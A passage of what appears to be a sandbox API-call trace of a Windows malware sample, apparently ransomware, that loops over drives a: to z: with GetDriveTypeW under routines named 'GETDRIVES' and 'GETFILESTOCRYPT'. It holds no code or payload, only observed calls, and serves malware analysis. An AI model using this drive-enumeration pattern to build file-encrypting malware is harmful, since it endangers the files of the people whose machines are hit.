lpMsg=0x130f86c) returned 0 [0083.635] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.635] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.635] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.635] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.635] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0083.635] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0083.635] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0083.635] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0083.635] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0083.635] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0083.636] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0083.636] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0083.636] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0083.636] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0083.636] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0083.636] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0083.636] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0083.637] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0083.637] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0083.637] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0083.637] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0083.637] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0083.637] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0083.637] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0083.637] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0083.638] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0083.638] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0083.638] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0083.638] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0083.638] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0083.638] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.638] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.638] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.638] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.638] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.638] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.639] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.639] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.639] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0083.639] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.639] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0083.639] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0083.639] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.639] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.639] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.639] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.639] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.639] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.639] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0083.639] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0083.639] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0083.639] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0083.640] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0083.640] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0083.640] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0083.640] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0083.640] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0083.640] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0083.640] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0083.640] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0083.641] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0083.641] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0083.641] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0083.641] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0083.641] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0083.641] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0083.641] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0083.641] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0083.641] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0083.642] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0083.642] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0083.642] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0083.642] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0083.642] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0083.642] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.642] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.642] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.642] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.642] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.642] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.643] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.643] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0083.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.643] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0083.643] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0083.643] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.643] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.643] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.643] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.643] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.643] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.643] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0083.643] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0083.643] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0083.643] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0083.643] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0083.644] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0083.644] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0083.644] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0083.644] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0083.644] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0083.644] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0083.644] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0083.644] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0083.645] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0083.645] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0083.645] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0083.645] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0083.645] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0083.646] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0083.646] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0083.646] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0083.646] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0083.646] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0083.646] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0083.647] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0083.647] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0083.647] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.647] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.647] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.647] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.647] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.647] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.647] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.647] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0083.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.647] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0083.647] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0083.647] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.648] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.648] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.648] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.648] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.648] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.648] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0083.648] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0083.648] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0083.648] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0083.648] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0083.648] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0083.648] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0083.649] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0083.649] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0083.649] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0083.649] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0083.649] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0083.649] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0083.649] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0083.649] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0083.649] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0083.650] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0083.650] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0083.650] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0083.650] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0083.650] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0083.650] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0083.650] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0083.651] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0083.651] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0083.651] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0083.651] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.651] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.651] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.651] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.651] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.651] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.651] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.651] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.651] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0083.652] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.652] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0083.652] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0083.652] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.652] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.652] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.652] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.652] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.652] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.652] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0083.652] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0083.652] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0083.652] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0083.652] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0083.653] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0083.653] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0083.653] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0083.653] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0083.653] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0083.653] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0083.653] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0083.653] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0083.653] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0083.654] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0083.654] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0083.654] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0083.654] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0083.654] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0083.654] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0083.654] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0083.654] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0083.654] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0083.655] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0083.655] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0083.655] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0083.655] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.655] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.655] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.655] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.655] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.655] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.655] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.655] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.655] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0083.655] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.655] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0083.656] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0083.656] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.656] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.656] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.656] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.656] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.656] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.656] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0083.656] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0083.656] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0083.656] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0083.656] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0083.656] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0083.657] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0083.657] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0083.657] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0083.657] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0083.657] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0083.657] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0083.657] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0083.657] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0083.657] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0083.657] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0083.658] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0083.658] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0083.658] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0083.658] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0083.658] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0083.658] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0083.658] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0083.658] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0083.659] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0083.659] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0083.659] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.659] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.659] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.659] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.659] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.659] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.659] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.659] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.659] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0083.659] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.659] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 